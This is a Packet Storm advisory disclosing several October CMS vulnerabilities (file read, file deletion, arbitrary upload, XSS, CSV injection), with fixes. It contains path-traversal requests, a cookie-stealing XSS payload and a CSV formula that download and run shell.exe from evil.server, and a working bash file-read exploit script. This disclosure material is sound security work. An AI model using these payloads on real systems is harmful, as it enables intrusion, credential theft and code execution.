October CMS Build 465 XSS / File Read / File Deletion / CSV Injection

Authored by Sivanesh Ashok

Posted Aug 3, 2020

October CMS builds 465 and below suffer from arbitrary file read, arbitrary file deletion, file uploading to arbitrary locations, persistent and reflective cross site scripting, and CSV injection vulnerabilities.

tags | exploit, arbitrary, vulnerability, xss, file upload
advisories | CVE-2020-11083, CVE-2020-5295, CVE-2020-5296, CVE-2020-5297, CVE-2020-5298, CVE-2020-5299
SHA-256 | db161c36ea18421b21654c361479e95224d40c18622344eb445b051377246742 **Download** | **Favorite** | **View**

Related Files

Share This

Change Mirror Download

```
################################################################################
#            October CMS <= Build 465 Multiple Vulnerabilities                 #
################################################################################

Author - Sivanesh Ashok | @sivaneshashok | stazot.com

Date         : 2020-03-31
Vendor       : https://octobercms.com/
Version      : <= Build 465
Tested on    : Build 465
CVE          : CVE-2020-5295, CVE-2020-5296, CVE-2020-5297, CVE-2020-5298, CVE-2020-5299, CVE-2020-11083
Last Modified: 2020-08-03


--[ Table of Contents

00 - Introduction

01 - Exploit

02 - Arbitrary File Read
    02.1 - Source code analysis
    02.2 - Exploitation
    02.3 - References

03 - Arbitrary File Deletion
    03.1 - Source code analysis
    03.2 - Exploitation
    03.3 - References

04 - Upload of Whitelisted File Types to Arbitrary Location
    04.1 - Source code analysis
    04.2 - Exploitation
    04.3 - References

05 - Stored Cross-Site Scripting (XSS)
    05.1 - Exploitation
    05.2 - References

06 - Reflected Cross-Site Scripting (XSS)
    06.1 - Exploitation
    06.2 - References

07 - CSV Injection
    07.1 - Exploitation
    07.2 - References

08 - Solution

09 - Contact



--[ 00 - Introduction

October CMS is an open source content management system based on PHP and
Laravel framework. This article details the multiple vulnerabilities that
were discovered in the application. These vulnerabilities can be exploited
by an attacker with certain permission, to read sensitive files in the
server, delete or replace certain sensitive files in the server, run
arbitrary client side code in the context of the victim, execute arbitrary
code on the victim's computer.



--[ 01 - Exploit

A PoC exploit that retrieves any file from October CMS when provided with
the cookies of a user with "Manage website assets" permission can be found
in the following link

https://github.com/staz0t/exploits/blob/master/SA20200331_octobercms_arbitrary_file_read.sh

Packet Storm Note: See bottom of file for attached exploit.


--[ 02 - Arbitrary File Read

An attacker with "Manage website assets" permission can exploit this
vulnerability to read local files of an October CMS server. The
vulnerability exists in the functionality thatlets a user with "Manage
website assets" permission to edit assets.


--[ 02.1 - Source code analysis

The function that is responsible for opening files to edit is
index_onOpenTempate() which is defined in
modules/cms/controllers/Index.php:148

----[ code segment ]----

  public function index_onOpenTemplate()
    {
        $this->validateRequestTheme();

        $type = Request::input('type');
        $template = $this->loadTemplate($type, Request::input('path'));
        $widget = $this->makeTemplateFormWidget($type, $template);

----[ code segment ]----

The above code segment from index_onOpenTempate() function shows that the
$template variable is initialized directly using the 'path' parameter
without validation. Hence, the 'path' parameter can hold the path of any
file in the server, the loadTemplate() function will retrieve its contents
and store it in $template->content which is then returned to the user.


--[ 02.2 - Exploitation

To exploit this request, an attacker with "Manage website assets"
permission has to edit the 'path' parameter in the request that retrieves
the assets for editing. For example, the following request will retrieve
the contents of config/database.php file.

----[ request ]----

  POST /backend/cms HTTP/1.1
  X-OCTOBER-REQUEST-HANDLER: onOpenTemplate
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- **Red Hat** 150 files
- **Ubuntu** 68 files
- **LiquidWorm** 23 files
- **Debian** 16 files
- **malvuln** 11 files
- **nu11secur1ty** 11 files
- **Gentoo** 9 files
- **Google Security Research** 6 files
- **Julien Ahrens** 4 files
- **T. Weber** 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
  X-CSRF-TOKEN: {insert-csrf-token-here}
  X-Requested-With: XMLHttpRequest
  Cookie: {insert-cookie-here}

  theme={insert-theme-name}&type=asset&path=../../../config/database.php
```

```
----[ request ]----

A script to exploit this vulnerability can be found in the '07 - Exploit'
section below.

--[ 02.3 - References

[CVE-2020-5295] - https://nvd.nist.gov/vuln/detail/CVE-2020-5295
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-r23f-c2j5-rx2f



--[ 03 - Arbitrary File Deletion

This vulnerability can be exploited by an attacker to delete files in the
server. The vulnerability exists in the functionality that allows a user
with "Manage website assets" permission to edit and save assets.


--[ 03.1 - Source code analysis

The way that October CMS handles saving is by deleting the existing file
and creating a new one with the new content. The function onSave(), defined
in modules/cms/controllers/Index.php:181, is responsible for saving an
edited asset.

----[ code segment ]----

    public function onSave()
    {
        $this->validateRequestTheme();
        $type = Request::input('templateType');
        $templatePath = trim(Request::input('templatePath'));
    .
    .
    .
        $template->save();
        $this->fireSystemEvent('cms.template.save', [$template, $type]);
        Flash::success(Lang::get('cms::lang.template.saved'));
        return $this->getUpdateResponse($template, $type);
    }

----[ code segment ]----

As shown in the above code segment, $templatePath variable is not validated
but directly passed to the function save(), which is defined in
modules/cms/classes/Asset.php:155.

----[ code segment ]----

    public function save()
    {
        $this->validateFileName();

----[ code segment ]----

The save() function only validates the new filename and the file extension
but not the template path. So $templatePath can be the path to any file in
the server. As stated above, the server will first delete the $templatePath
file and create a new file with $filename and with the new content in the
assets directory.


--[ 03.2 Exploitation

To exploit this issue, an attacker with "Manager website assets" permission
has to modify the templatePath parameter to the file that the attacker
wants to be deleted. For example, the following request deletes the
config/database.php.

----[ request ]----

  POST /backend/cms HTTP/1.1
  X-OCTOBER-REQUEST-HANDLER: onSave
  X-CSRF-TOKEN: {insert-csrf-token-here}
  X-Requested-With: XMLHttpRequest
  Cookie: {insert-cookie-here}

  fileName=foo.js&content=&templateType=asset&templatePath=../../../config/database.php&theme={insert-theme-
name}&templateMtime={insert-mtime-here}

----[ request ]----

In the above request, fileName parameter in the name of the file that gets
created. This can be anything with css, js, less, sass, scss extensions,
because it is validated by validateFileName() function.

templateMtime is a number that is generated by the server. The attacker can
obtain the mtime of a file by retrieving it using the Arbitrary File Read
vulnerability.


--[ 03.3 - References

[CVE-2020-5296] - https://nvd.nist.gov/vuln/detail/CVE-2020-5296
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-jv6v-fvvx-4932



--[ 04 - Upload of Whitelisted File Types to Arbitrary Location

An attacker can exploit this vulnerability to upload jpg, jpeg, bmp, png,
webp, gif, ico, css, js, woff, woff2, svg, ttf, eot, json, md, less, sass,
scss, xml files to any directory in the server. The vulnerability exists in
the functionality that lets a user with "Manage website assets" permission
to move assets from one folder to another.


-[ 04.1 - Source code analysis

The function that is responsible for moving assets is onMove() which is
defined in modules/cms/widgets/AssetList.php:305.

----[ code segment ]----

    public function onMove()
    {
        $this->validateRequestTheme();

        $selectedList = Input::get('selectedList');
        if (!strlen($selectedList)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.selected_files_not_found'));
        }

        $destinationDir = Input::get('dest');
        if (!strlen($destinationDir)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.select_destination_dir'));
        }

        $destinationFullPath = $this->getFullPath($destinationDir);
        if (!file_exists($destinationFullPath) || !is_dir($destinationFullPath)) {
            throw new ApplicationException(Lang::get('cms::lang.asset.destination_not_found'));
        }

----[ code segment ]----

As shown in the above code segment, the function initiates $destinationDir
variable directly from the 'dest' parameter. And the $destinationDir
variable is not validated. Since the function moves the files mentioned in
the $selectedList to $DestinationDir directory. Since the $DestinationDir
is not validated, a file in the assets folder can be moved to any directory
in the server.


--[ 04.2 - Exploitation

This vulnerability can be exploited by an attacker with "Manage website
assets" permission, by modifying the 'dest' parameter in the request sent
to the server for moving an asset file. For example, the following request
can move test.js file from the assets directory to the config directory.

----[ request ]----

  POST /backend/cms HTTP/1.1
  X-OCTOBER-REQUEST-HANDLER: assetList::onMove
  X-CSRF-TOKEN: {insert-csrf-token-here}
  X-Requested-With: XMLHttpRequest
```

```
  Cookie: {insert-cookie-here}

  dest=../../../config/&theme={insert-theme-name}&selectedList=WyJcL3R1c3QuanMiXQ==

----[ request ]----

The selectedList parameter is the base64 encoded version of the json
'["\/test.js"]' because that is how the server expects the parameter to be
formatted.

This vulnerability can be chained with the Arbitrary File Deletion
vulnerability to delete and replace sensitive files in the server.


--[ 04.3 - References

[CVE-2020-5297] - https://nvd.nist.gov/vuln/detail/CVE-2020-5297
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-9722-rr68-rfpg



--[ 05 - Stored Cross-Site Scripting (XSS)

The application is vulnerable to Stored XSS in the 'Post Creation'
functionality. An attacker with "Manage the blog posts" permission can
execute arbitrary client side code in the context of the victim, who could
be the admin.


--[ 05.1 - Exploitation

Here is how a user with "Manage the blog posts" permission can execute
arbitrary client side code in the context of the admin.

1. Go to the Blog section and select New Post

2. Enter the payload in the blog's content
    For example,
    <img src=//github.com/favicon.ico onload=this.src='//evil.server/?'+document.cookie>
    This payload will send the admin's cookies to the attacker's server
    The payload can be written to perform any action in the context of the admin,
    such as escalating privilege to 'Super User'

3. Save the post

4. When the admin visits the post, the payload will get executed


--[ 05.2 - References

[CVE-2020-11083] - https://nvd.nist.gov/vuln/detail/CVE-2020-11083
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-w4pj-7p68-3vgv



--[ 06 - Reflected Cross-Site Scripting (XSS)

The application is vulnerable to Reflected XSS in the 'Import Posts'
functionality. A user with "Allowed to import and export posts" permission
can be social engineered by an attacker to exploit this vulnerability and
execute arbitrary client side code in the context of the user.


--[ 06.1 - Exploitation

To exploit this vulnerability an attacker should social engineer the victim
like explained below.

1. Create a CSV file with the payload in the first row, which is the name
of the columns.

2. Send the CSV file to the victim and persuade them to import the file.
The scenario could be an author sending a post's metadata to the editor in
CSV format.

3. When the victim imports the CSV file, the column names in the file are
reflected in the web page which leads to the execution of the payload.

Similar to the last vulnerability, the payload could be written to perform
any action as the victim.


--[ 06.2 - References

[CVE-2020-5298] - https://nvd.nist.gov/vuln/detail/CVE-2020-5298
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-gg6x-xx78-448c



--[ 07 - CSV Injection

An attacker can exploit this vulnerability to execute arbitrary code in the
victim's computer. The vulnerability exists in the 'Export Posts'
functionality that allows a user with "Allowed to import and export posts"
permission to export the posts as a CSV file.


--[ 07.1 - Exploitation

To exploit this vulnerability, an attacker with "Manage the blog posts"
permission should inject crafted payloads in the any one of the following
input fields related to a blog post.

Title, Content, Excerpt, Categories

1. Edit one of the above mentioned in a blog to the following payload
    =cmd|' /C powershell Invoke-WebRequest "http://evil.server/shell.exe" -OutFile "$env:Temp\shell.exe";
Start-Process "$env:Temp\shell.exe"'!A1
    This payload downloads and executes 'shell.exe' on the victim's computer.

2. When the victim exports the posts and opens the CSV file, MS Excel will
warn the victim about the potential harm in opening the file. If the victim
ignores the warnings and continues to open it, then the command gets
executed on the victim's computer.


--[ 07.2 - References

[CVE-2020-5299] - https://nvd.nist.gov/vuln/detail/CVE-2020-5299
[Advisory] - https://github.com/octobercms/october/security/advisories/GHSA-4rhm-m2fp-hx7q



--[ 08 - Solution

1. Validate the 'path' parameter in index_onOpenTempate() function defined
in modules/cms/controllers/Index.php:148

2. Validate the 'templatePath' paramter in onSave() function defined in
modules/cms/controllers/Index.php:181

3. Validate the 'dest' parameter in onMove() function defined in
modules/cms/widgets/AssetList.php:305

4. Sanitize and encode the contents of the blog before generating the
preview or storing and publishing them

5. Sanitize and encode the column names in the CSV file before displaying
them in the 'Import Posts' page

6. Validate the blogs' data fields before exporting them to a CSV file.
Ensure that data doesn't start with '=', '+', '-', '@'



--[ 09 - Contact

Name   : Sivanesh Ashok

Twitter: @sivaneshashok

Website: http://stazot.com


Proof of concepts:


--- begin SA20200331_octobercms_arbitrary_file_read.sh ---

echo '''
Authenticated arbitrary file read exploit for October CMS <= Build 465
Tested on: v1.0.45
CVE: CVE-2020-5295
```

```
Reference: https://stazot.com/advisories/October%20CMS%20465%20Multiple%20Vulnerabilities
Author: Sivanesh Ashok | @sivaneshashok | stazot.com
'''

rm /tmp/ocms_* &> /dev/null

if [[ ! `command -v recode` ]]; then
    echo -e "[!] Missing package 'recode'\n[!] Install 'recode' using the respective command to resume\n\tsudo
apt install recode\n\tsudo pacman -S recode\n\tyum install recode"
    echo -e "[*] Exiting!\n"
    exit 0
fi

read -p "[*] Enter target host (with http/https): " host
echo ""
read -p "[*] Enter your cookie value: " cookie

curl -s -X GET -H "Cookie: $cookie" "$host/backend/cms" > /tmp/ocms_gethtml

if [[ ! `awk '/<span class="nav-label">/,/<\/span>/' /tmp/ocms_gethtml | grep "Assets"` ]]; then
    echo -e "[-] Invalid cookie\n[-] Either the user does not have the privilege to modify assets or the cookie
is invalid"
    echo -e "[*] Exiting!\n"
    exit 0
fi

echo '''
[!] Relative path to the target file is required.
    eg. config/database.php
    If you are unsure about the path, check OctoberCMS github which has the default file system hosted
    https://github.com/octobercms/october
'''

read -p "[*] Enter path to the target file: " targetfile
themename=`grep "data-item-theme" /tmp/ocms_gethtml -m 1 | awk -F'"' '{print $6}'`
csrftoken=`grep "csrf-token" /tmp/ocms_gethtml | awk -F'"' '{print $4}'`

curl -s -X POST -H "Cookie: $cookie" -H "X-CSRF-TOKEN: $csrftoken" -H "X-OCTOBER-REQUEST-HANDLER:
onOpenTemplate" -H "X-Requested-With: XMLHttpRequest" -d "theme=$themename" -d "type=asset" -d
"path=../../../$targetfile" "$host/backend/cms" > /tmp/ocms_jsonres

cat /tmp/ocms_jsonres | jq -r '.tab' 2> /dev/null | awk '/<textarea/,/<\/textarea>/' 2> /dev/null | recode html
> /tmp/ocms_file 2> /dev/null

if [[ `cat /tmp/ocms_file` ]]; then
    cp /tmp/ocms_file ./october_extractedfile
    echo -e "\n[+] File saved as ./october_extractedfile!\n"
    exit 1
else
    echo -e "\n[-] Error extracting file. Check /tmp/ocms_jsonres for the server response. Exiting!\n"
    exit 0
fi

--- end SA20200331_octobercms_arbitrary_file_read.sh ---
```